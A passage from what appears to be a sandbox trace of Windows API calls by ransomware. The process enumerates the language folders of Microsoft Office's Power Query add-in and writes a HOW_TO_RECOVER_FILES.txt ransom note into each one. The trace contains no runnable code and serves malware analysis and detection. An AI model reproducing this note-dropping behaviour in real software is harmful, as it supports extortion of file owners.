ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.526] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0212.527] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0212.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0212.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0212.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0212.529] GetFileType (hFile=0x820) returned 0x1 [0212.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0212.529] GetFileType (hFile=0x820) returned 0x1 [0212.530] WriteFile (in: hFile=0x820, lpBuffer=0x35643c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x35643c8*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0212.531] CloseHandle (hObject=0x820) returned 1 [0212.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es", lpFilePart=0x0) returned 0x68 [0212.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0212.533] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.533] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18157e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.533] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.533] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.533] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.533] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.533] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0212.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.534] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es", lpFilePart=0x0) returned 0x68 [0212.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0212.535] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.535] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18157e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.535] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.536] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.536] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.536] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0212.536] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0212.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0212.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0212.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0212.539] GetFileType (hFile=0x820) returned 0x1 [0212.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0212.539] GetFileType (hFile=0x820) returned 0x1 [0212.540] WriteFile (in: hFile=0x820, lpBuffer=0x3577be0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3577be0*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0212.540] CloseHandle (hObject=0x820) returned 1 [0212.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.541] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et", lpFilePart=0x0) returned 0x68 [0212.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0212.542] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.542] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.542] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc70564d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc70564d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc70564d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.542] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.542] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0df27d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x85040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.543] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.543] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0212.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.543] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et", lpFilePart=0x0) returned 0x68 [0212.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b0a0 [0212.544] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.544] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.545] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc70564d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc70564d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc70564d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.545] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.545] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0df27d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x85040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.545] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0df27d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x85040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0212.545] FindClose (in: hFindFile=0x134b0a0 | out: hFindFile=0x134b0a0) returned 1 [0212.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.546] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0212.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0212.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0212.547] GetFileType (hFile=0x820) returned 0x1 [0212.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0212.548] GetFileType (hFile=0x820) returned 0x1 [0212.548] WriteFile (in: hFile=0x820, lpBuffer=0x358b3f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x358b3f8*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0212.549] CloseHandle (hObject=0x820) returned 1 [0212.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.549] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu", lpFilePart=0x0) returned 0x68 [0212.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0213.707] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, 